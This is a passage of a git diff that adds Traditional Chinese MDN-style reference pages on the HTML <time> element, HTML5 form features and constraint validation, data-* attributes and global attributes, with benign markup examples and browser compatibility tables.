+<pre class="brush: html">&lt;p&gt;The concert starts at &lt;time&gt;20:00&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Output">Output</h4>
+
+<p>{{ EmbedLiveSample('Simple_example', 250, 60) }}</p>
+
+<h3 id="Datetime_example" name="Datetime_example"><code>datetime</code> example</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The concert took place on &lt;time datetime="2001-05-15T19:00"&gt;May 15&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Output_2">Output</h4>
+
+<p>{{ EmbedLiveSample('Datetime_example', 250, 60) }}</p>
+
+<h2 id="Specifications" name="Specifications">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>33.0</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>9.0</td>
+   <td>22.0</td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10.0</td>
+   <td>11.50<br>
+    Removed in 15.0</td>
+   <td>4.0-4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">延伸閱讀</h2>
+
+<ul>
+ <li>The {{HTMLElement("data")}} element, allowing to signal other kind of values.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/zh-tw/web/html/forms_in_html/index.html b/files/zh-tw/web/html/forms_in_html/index.html
new file mode 100644
index 0000000000..6d83f5efea
--- /dev/null
+++ b/files/zh-tw/web/html/forms_in_html/index.html
@@ -0,0 +1,83 @@
+---
+title: Forms in HTML
+slug: Web/HTML/Forms_in_HTML
+translation_of: Learn/HTML/Forms/HTML5_updates
+---
+<div>
+  {{gecko_minversion_header("2")}}</div>
+<h2 id="摘要">摘要</h2>
+<p>HTML5的Form元素及其屬性比HTML4提供更大程度的語意標記，也移除了原本許多在HTML4所需要的繁瑣程式碼腳本與樣式控制。HTML5的Form元素讓表單在跨網頁上有更好的一致性，也提供即時的使用者輸入回饋，因為這些特色，HTML5的Form元素在使用者體驗上有更好的表現，甚至，這些體驗依然適用在瀏覽器關閉程式碼腳本執行的情況下。</p>
+<p>本文旨在討論Gecko/Firefox, version 4或更新版本在新的或變更後的Form元素特色上的支援。</p>
+<h2 id="&lt;input>元素">&lt;input&gt;元素</h2>
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a>元素的<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-type" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-type">type</a>屬性新增了一些屬性值。</p>
+<ul>
+  <li><code>search</code>: 代表此為搜尋欄位，換行符號會自動從輸入值中刪除且沒有其他語法是必須的。</li>
+  <li><code>tel</code>: 代表此為電話編輯欄位，換行符號會自動從輸入值中刪除且沒有其他語法是必須的。基於各國電話號碼不一，你可以利用<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-pattern" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-pattern">pattern</a>和<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-maxlength" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-maxlength">maxlength</a>屬性來限制輸入。</li>
+  <li><code>url</code>: 代表此為URL編輯欄位，換行符號與前後空白符號會自動從輸入值中刪除。</li>
+  <li>
+    <p><code>email</code>: 代表此為email欄位，換行符號會自動從輸入值中刪除。只有在輸入符合ABNF規範: 1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )，其中atext定義在<a href="http://tools.ietf.org/html/rfc5322#section-3.2.3" title="http://tools.ietf.org/html/rfc5322#section-3.2.3">RFC 5322 section 3.2.3</a>，而ldh-str定義在<a href="http://tools.ietf.org/html/rfc1034#section-3.5" title="http://tools.ietf.org/html/rfc1034#section-3.5">RFC 1034 section 3.5</a>。</p>
+    <div class="note">
+      <strong>Note:</strong> 當有設定<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-multiple" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-multiple">multiple</a>屬性時，可以用逗號分隔email來一次輸入多個email，但目前FireFox不支援此功能。</div>
+  </li>
+</ul>
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a>元素同時也新增了一些屬性:</p>
+<ul>
+  <li>{{htmlattrxref("list", "input")}}: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/datalist" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/datalist">&lt;datalist&gt;</a>元素的ID，這個元素下的內容，亦即<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option">&lt;option&gt;</a>元素的值會顯示在輸入欄位的建議區來用於提示訊息。</li>
+  <li>{{htmlattrxref("pattern", "input")}}: 一個用來檢查輸入的正規表達式(regular expression)，當type屬性值為text, tel, search, url與email時可以使用。</li>
+  <li>{{htmlattrxref("form", "input")}}: 指示該&lt;input&gt;隸屬於哪一個<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form">&lt;form&gt;</a>元素的一串文字，一個input只能隸屬於一個form下。</li>
+  <li>{{htmlattrxref("formmethod", "input")}}: 指示使用的HTTP方法(GET或POST)，這個屬性值會取代&lt;form&gt;元素下<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form#attr-method" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form#attr-method">method</a>屬性所定義的HTTP方法。這個屬性只有在<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form" title="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a>屬性出現而且type值為image或submit時才有效。</li>
+  <li>{{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: 當欄位驗證失敗時顯示的訊息，此為Mozilla擴充功能、非標準。</li>
+</ul>
+<h2 id="&lt;form>元素">&lt;form&gt;元素</h2>
+<p>{{HTMLElement("form")}} 元素新增了一些屬性</p>
+<ul>
+  <li>{{htmlattrxref("novalidate", "form")}}: 當表單送出時，阻止表單驗證。</li>
+</ul>
+<h2 id="The_datalist_element" name="The_datalist_element"> <code>&lt;datalist&gt;</code>元素</h2>
+<p>{{HTMLElement("datalist")}}元素是{{HTMLElement("option")}}元素的列表，{{HTMLElement("option")}}元素會用於提示輸入建議。</p>
+<p>可以利用{{HTMLElement("input")}}的{{htmlattrxref("list", "input")}}屬性來連結{{HTMLElement("input")}}元素與{{HTMLElement("datalist")}}</p>
+<h2 id="The_output_element" name="The_output_element"><code>&lt;output&gt;</code>元素</h2>
+<p><code>{{HTMLElement("output")}}</code>元素代表運算結果。</p>
+<p>可以利用{{htmlattrxref("for", "output")}}屬性來設定<code>{{HTMLElement("output")}}</code>元素和其他影響計算結果的元素(如input或參數)的關係，{{htmlattrxref("for", "output")}}屬性的值為一串以空白分隔的元素ID。</p>
+<p>{{non-standard_inline}} Gecko2.0(不一定適用其他瀏覽器引擎)支援自定義{{HTMLElement("output")}}元素的驗證條件和錯誤訊息，所以提供了其{{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}}和 {{Cssxref(":-moz-ui-valid")}}的CSS pseudo-class，在以下狀況這個特色將很有用，例如沒有輸入值有問題，但計算結果違反了商業規則(好比說總百分比不可超過100)。</p>
+<h2 id="The_placeholder_attribute" name="The_placeholder_attribute">placeholder屬性</h2>
+<p><code>{{HTMLElement("input")}}</code>元素和<code>{{HTMLElement("textarea")}}</code>元素的{{htmlattrxref("placeholder", "input")}}屬性會在輸入欄位上顯示輸入提示，這個屬性的值不可以含有回車或換行符號。</p>
+<h2 id="The_autofocus_attribute" name="The_autofocus_attribute">autofocus屬性</h2>
+<p>{{htmlattrxref("autofocus", "input")}}屬性指示除非使用者另有指定(例如在其他控制項上進行輸入操作)，否則當載入網頁時表單控制項要自動聚焦於特定元素上；autofocus屬性值為布林值(Boolean)，一份文件只能有一份表單設定autofocus屬性。能夠設定這個屬性的元素有<code>{{HTMLElement("input")}}</code>, <code>{{HTMLElement("button")}}</code>, <code>{{HTMLElement("select")}}</code>與<code>{{HTMLElement("textarea")}}</code>，不過當{{htmlattrxref("type", "input")}}屬性為隱藏(hidden)下，autofocus是無效的，也就是說，不能自動聚焦於隱藏元素上。</p>
+<h2 id="The_label.control_DOM_property" name="The_label.control_DOM_property">label.control DOM屬性</h2>
+<p><code><a href="/en-US/docs/DOM/HTMLLabelElement" title="DOM/HTMLLabelElement">HTMLLabelElement</a></code> DOM介面提供了<code>{{HTMLElement("label")}}</code>元素一個新的control屬性，control屬性會回傳被標記的控制項，這個控制項便是該label適用的控制項，也就是&lt;label&gt;元素{{htmlattrxref("for", "label")}}屬性指定的元素(如果有的話)或是第一個後代控制項元素。</p>
+<h2 id="Constraint_Validation" name="Constraint_Validation">約束驗證</h2>
+<p>HTML5提供了客戶端表單驗證的語法和API，基於安全性與資料正確性，雖然這並不能取代伺服器端驗證，但是客戶端驗證可以提拱使用者更好的立即輸入回饋體驗。</p>
+<p>當{{HTMLElement("input")}}元素設定了title屬性，其值會作為提示框之內容，若是驗證失敗，提示框的內容會換成相關的錯誤訊息，我們可以利用非標準的{{htmlattrxref("x-moz-errormessage")}}屬性或setCustomValidity()方法來自定義錯誤訊息。</p>
+<pre class="brush: html">&lt;input type="email" title="Please, provide an e-mail" x-moz-errormessage="This is not a valid e-mail"&gt;</pre>
+<div class="note">
+  <strong>Note:</strong> 約束驗證不支援表單的{{HTMLElement("button")}}元素，若是想根據表單驗證果來設定按鈕樣式，可以利用{{cssxref(":-moz-submit-invalid")}} pseudo-class。</div>
+<h3 id="HTML_Syntax_for_Constraint_Validation" name="HTML_Syntax_for_Constraint_Validation">約束驗證的HTML語法</h3>
+<p>下列是HTML5用來約束表單資料的語法</p>
+<ul>
+  <li>{{HTMLElement("input")}}, {{HTMLElement("select")}},和{{HTMLElement("textarea")}}的{{htmlattrxref("required", "input")}}屬性表示輸入不可為空。{{HTMLElement("input")}}元素在用{{htmlattrxref("required", "input")}}屬性時需要搭配某些特定{{htmlattrxref("type", "input")}}屬性值)</li>
+  <li>{{HTMLElement("input")}}元素的{{htmlattrxref("pattern", "input")}}屬性規範了輸入必須符合指定的正規表達式。</li>
+  <li>{{HTMLElement("input")}}元素的{{htmlattrxref("min", "input")}}和{{htmlattrxref("max", "input")}}屬性規範了最小和最大輸入值。</li>
+  <li>{{HTMLElement("input")}}元素的{{htmlattrxref("step", "input")}}屬性(和{{htmlattrxref("min", "input")}}和{{htmlattrxref("max", "input")}}屬性結合使用)規範了輸入值一次調整的幅度，當輸入值不符合允許的調整幅度即驗證失敗。</li>
+  <li>{{HTMLElement("input")}}和{{HTMLElement("textarea")}}元素的{{htmlattrxref("maxlength", "input")}}屬性規範了最大輸入字元數(以Unicode編碼計算)。</li>
+  <li>{{htmlattrxref("type", "input")}}值的url和email表示輸入必須是合格的URL或email格式。</li>
+</ul>
+<p>另外，我們可以在{{HTMLElement("form")}}元素上設定{{htmlattrxref("novalidate", "form")}}屬性或是在{{HTMLElement("button")}}元素以及{{htmlattrxref("type", "input")}}為submit或image的{{HTMLElement("input")}}元素上設定{{htmlattrxref("formnovalidate", "button")}}屬性來避免輸入約束驗證。這些屬性都會指示表單送出時不要進行驗證。</p>
+<h3 id="Constraint_Validation_API" name="Constraint_Validation_API">約束驗證API</h3>
+<p>下列是客戶端驗證可用的DOM屬性和方法:</p>
+<ul>
+  <li><code><a href="/en-US/docs/DOM/HTMLFormElement" title="DOM/HTMLFormElement">HTMLFormElement</a></code>物件有checkValidity()方法會回傳true當表單下所有元素都通過約束驗證，false當任一沒有通過。</li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement?redirectlocale=en-US&amp;redirectslug=DOM%2FHTMLFormElement" title="https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement?redirectlocale=en-US&amp;redirectslug=DOM%2FHTMLFormElement">表單相關元素:</a>
+    <ul>
+      <li><code>willValidate</code> 屬性為false若該元素沒有通過驗證。</li>
+      <li><code>validity</code> 屬性( <code><a href="/en-US/docs/DOM/ValidityState" title="DOM/ValidityState Interface">ValidityState</a></code> 物件)代表該元素目前的驗證結果。</li>
+      <li><code>validationMessage</code>屬性是驗證失敗時的訊息。</li>
+      <li><code>checkValidity()</code> 方法會回傳true當表單下所有元素都通過約束驗證，false當任一沒有通過。</li>
+      <li><code>setCustomValidity()</code> 可以自定義驗證失敗訊息。</li>
+    </ul>
+  </li>
+</ul>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li><a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">HTML Forms Guide</a></li>
+</ul>
diff --git a/files/zh-tw/web/html/global_attributes/data-_star_/index.html b/files/zh-tw/web/html/global_attributes/data-_star_/index.html
new file mode 100644
index 0000000000..14310bde8e
--- /dev/null
+++ b/files/zh-tw/web/html/global_attributes/data-_star_/index.html
@@ -0,0 +1,114 @@
+---
+title: data-*
+slug: Web/HTML/Global_attributes/data-*
+translation_of: Web/HTML/Global_attributes/data-*
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p><strong>data-*</strong><a href="/zh-TW/docs/Web/HTML/Global_attributes">全域屬性</a>構成一組稱作<strong>自訂 data 屬性</strong>的屬性。它能令 <a href="/zh-TW/docs/Web/HTML" title="zh-TW/HTML">HTML</a> 與其 <a href="/zh-TW/docs/DOM" title="zh-TW/DOM">DOM</a> 擁有給腳本用的交換資訊。這種屬性設置的自訂資料，能透過元素的 {{domxref("HTMLElement")}} 介面而活用。{{domxref("HTMLElement.dataset")}} property 允許訪問它們。<code>*</code> 可以是任何遵循以下規則的 <a class="external" href="http://www.w3.org/TR/REC-xml/#NT-Name" title="http://www.w3.org/TR/REC-xml/#NT-Name">xml 名稱</a>：</p>
+
+<ul>
+ <li>名字絕對不能以 <code>xml</code> 起頭，無論是否用於 xml、</li>
+ <li>名字絕對不能包含分號（<code>U+003A</code>）、</li>
+ <li>名字絕對不能包含大寫 <code>A</code> 到大小 <code>Z</code> 的拉丁字母。</li>
+</ul>
+
+<p>請注意 {{domxref("HTMLElement.dataset")}} property 是個 {{domxref("DOMStringMap")}}，而自訂的 data 屬性名 <em>data-test-value</em> 因為所有的減號（<code>U+002D</code>）都會被消去、緊接著的第一個字母，會被取代為駝峰式（camelcase）名字，所以要透過 <code>HTMLElement.dataset.testValue</code> 或 <code>HTMLElement.dataset["<em>testValue</em>"]</code> 訪問。</p>
+
+<h3 id="用法">用法</h3>
+
+<p>藉由增加 <strong>data-* </strong> 屬性，即使是普通的 HTML 元素也能變成複雜而強大程式物件。例如說遊戲裡面的太空船<a href="https://zh.wikipedia.org/zh-tw/%E7%B2%BE%E7%81%B5_(%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6)">精靈</a> 能成為帶有 <a href="/zh-TW/docs/Web/HTML/Global_attributes/class">class</a> 與數個 data-* 屬性的 {{HTMLElement("img")}} 元素：</p>
+
+<pre>&lt;img class="spaceship cruiserX3" src="shipX3.png"
+  data-ship-id="324"   data-weapons="laserI laserII"   data-shields="72%"
+  data-x="414354" data-y="85160" data-z="31940"
+  onclick="spaceships[this.dataset.shipId].blasted()" /&gt;
+</pre>
+
+<p id="Specifications">（參見<em><a href="https://html.spec.whatwg.org/multipage/dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes">這個網站</a></em>）</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(6) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(6) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>所有的<a href="/zh-TW/docs/Web/HTML/Global_attributes">全域屬性</a></li>
+ <li>The {{domxref("HTMLElement.dataset")}} property that allows to access and modify these values.</li>
+</ul>
diff --git a/files/zh-tw/web/html/global_attributes/index.html b/files/zh-tw/web/html/global_attributes/index.html
new file mode 100644
index 0000000000..8cd77b6512
--- /dev/null
+++ b/files/zh-tw/web/html/global_attributes/index.html
@@ -0,0 +1,474 @@
+---
+title: 全域屬性
+slug: Web/HTML/Global_attributes
+translation_of: Web/HTML/Global_attributes
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<div class="summary">
+<p><strong>全域屬性</strong>（Global attributes）是所有 HTML 元素共同的屬性，可以在所有的元素中使用。但在部分的元素上，屬性可能是沒有效果的。</p>
+</div>
+
+<p>Global attributes may be specified on all <a href="/en-US/docs/Web/HTML/Element">HTML elements</a>, <em>even those not specified in the standard</em>. That means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer HTML5-compliant. For example, HTML5-compliant browsers hide content marked as <code>&lt;foo hidden&gt;...&lt;foo&gt;</code><code>, </code>even though <code>&lt;foo&gt;</code> is not a valid HTML element.</p>
+
+<p>In addition to the basic HTML global attributes, the following global attributes also exist:</p>
+
+<ul>
+ <li><strong><code>xml:lang</code></strong> and <code><strong>xml:base</strong></code> — these are inherited from the XHTML specifications and deprecated, but kept for compatibility purposes.</li>
+ <li>The multiple <code><strong><a href="/en-US/docs/Web/Accessibility/ARIA">aria-*</a></strong></code> attributes, used for improving accessibility.</li>
+ <li>The event handler attributes: <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li>
+</ul>
+
+<h2 id="說明">說明</h2>
+
+<dl>
+ <dt id="attr-accesskey"><code><a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code></dt>
+ <dd>Provides a hint for generating a keyboard shortcut for the current element. This attribute consists of a space-separated list of characters. The browser should use the first one that exists on the computer keyboard layout.</dd>
+ <dt id="attr-class"><code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code></dt>
+ <dd>Is a space-separated list of the classes of the element. Classes allows CSS and JavaScript to select and access specific elements via the <a href="/en-US/docs/Web/CSS/Class_selectors">class selectors</a> or functions like the method {{domxref("Document.getElementsByClassName()")}}.</dd>
+ <dt id="attr-contenteditable"><code><a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code></dt>
+ <dd>Is an enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values:
+ <ul>
+  <li><code>true</code> or the <em>empty string</em>, which indicates that the element must be editable;</li>
+  <li><code>false</code>, which indicates that the element must not be editable.</li>
+ </ul>
+ </dd>
+ <dt id="attr-contextmenu"><code><a href="/en-US/docs/Web/HTML/Global_attributes/contextmenu">contextmenu</a></code></dt>
+ <dd>Is the <code><a href="#attr-id"><strong>id</strong></a></code> of an {{HTMLElement("menu")}} to use as the contextual menu for this element.</dd>
+ <dt id="attr-dataset"><code><a href="/en-US/docs/Web/HTML/Global_attributes/data-*">data-*</a></code></dt>
+ <dd>Forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the <a href="/en-US/docs/Web/HTML">HTML</a> and its <a href="/en-US/docs/Glossary/DOM">DOM</a> representation that may be used by scripts. All such custom data are available via the {{domxref("HTMLElement")}} interface of the element the attribute is set on. The {{domxref("HTMLElement.dataset")}} property gives access to them.</dd>
+ <dt id="attr-dir"><code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code></dt>
+ <dd>Is an enumerated attribute indicating the directionality of the element's text. It can have the following values:
+ <ul>
+  <li><code>ltr</code>, which means <em>left to right </em>and is to be used for languages that are written from the left to the right (like English);</li>
+  <li><code>rtl</code>, which means <em>right to left</em> and is to be used for languages that are written from the right to the left (like Arabic);</li>
+  <li><code>auto</code>, which let the user agent decides. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then apply that directionality to the whole element.</li>
+ </ul>
+ </dd>
+ <dt id="attr-draggable"><code><a href="/en-US/docs/Web/HTML/Global_attributes/draggable">draggable</a></code> {{experimental_inline}}</dt>
+ <dd>Is an enumerated attribute indicating whether the element can be dragged, using the <a href="/en-us/docs/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values:
+ <ul>
+  <li><code>true</code>, which indicates that the element may be dragged</li>
+  <li><code>false</code>, which indicates that the element may not be dragged.</li>
+ </ul>
+ </dd>
+ <dt id="attr-dropzone"><code><a href="/en-US/docs/Web/HTML/Global_attributes/dropzone">dropzone</a></code> {{experimental_inline}}</dt>
+ <dd>Is an enumerated attribute indicating what types of content can be dropped on an element, using the <a href="/en-US/docs/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values:
+ <ul>
+  <li><code>copy</code>, which indicates that dropping will create a copy of the element that was dragged</li>
+  <li><code>move</code>, which indicates that the element that was dragged will be moved to this new location.</li>
+  <li><code>link</code>, will create a link to the dragged data.</li>
+ </ul>
+ </dd>
+ <dt id="attr-hidden"><code><a href="/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code></dt>
+ <dd>Is a Boolean attribute indicates that the element is not yet, or is no longer, <em>relevant</em>. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. The browser won't render such elements. This attribute must not be used to hide content that could legitimately be shown.</dd>
+ <dt id="attr-id"><code><a href="/en-US/docs/Web/HTML/Global_attributes/id">id</a></code></dt>
+ <dd>Defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS).</dd>
+</dl>
+
+<div class="note">
+<p><strong>註：</strong>The following 5 attributes are part of the <a class="external" href="https://html.spec.whatwg.org/multipage/microdata.html#microdata">WHATWG HTML Microdata feature</a>.</p>
+</div>
+
+<dl>
+ <dt id="attr-itemid"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemid">itemid</a></code> {{experimental_inline}}</dt>
+ <dd>The unique, global identifier of an item.</dd>
+ <dt id="attr-itemprop"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code> {{experimental_inline}}</dt>
+ <dd>Used to add properties to an item. Every HTML element may have an itemprop attribute specified, where an itemprop consists of a name and value pair.</dd>
+ <dt id="attr-itemref"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemref">itemref</a></code> {{experimental_inline}}</dt>
+ <dd>Properties that are not descendants of an element with the <code>itemscope</code> attribute can be associated with the item using an <strong>itemref</strong>. Itemref provides a list of element ids (not <code>itemid</code>s) with additional properties elsewhere in the document.</dd>
+ <dt id="attr-itemscope"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemscope">itemscope</a> </code>{{experimental_inline}}</dt>
+ <dd>Itemscope (usually) works along with <a href="/en-US/docs/Web/HTML/Global_attributes/itemtype">itemtype </a>to specify that the HTML contained in a block is about a particular item. itemscope creates the Item and defines the scope of the itemtype associated with it. itemtype is a valid URL of a vocabulary (such as <a class="external external-icon" href="https://schema.org/">schema.org</a>) that describes the item and its properties context.</dd>
+ <dt id="attr-itemtype"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemtype">itemtype</a></code> {{experimental_inline}}</dt>
+ <dd>Specifies the URL of the vocabulary that will be used to define itemprop's (item properties) in the data structure. <a href="/en-US/docs/Web/HTML/Global_attributes/itemscope">Itemscope</a> is used to set the scope of  where in the data structure the vocabulary set by itemtype will be active.</dd>
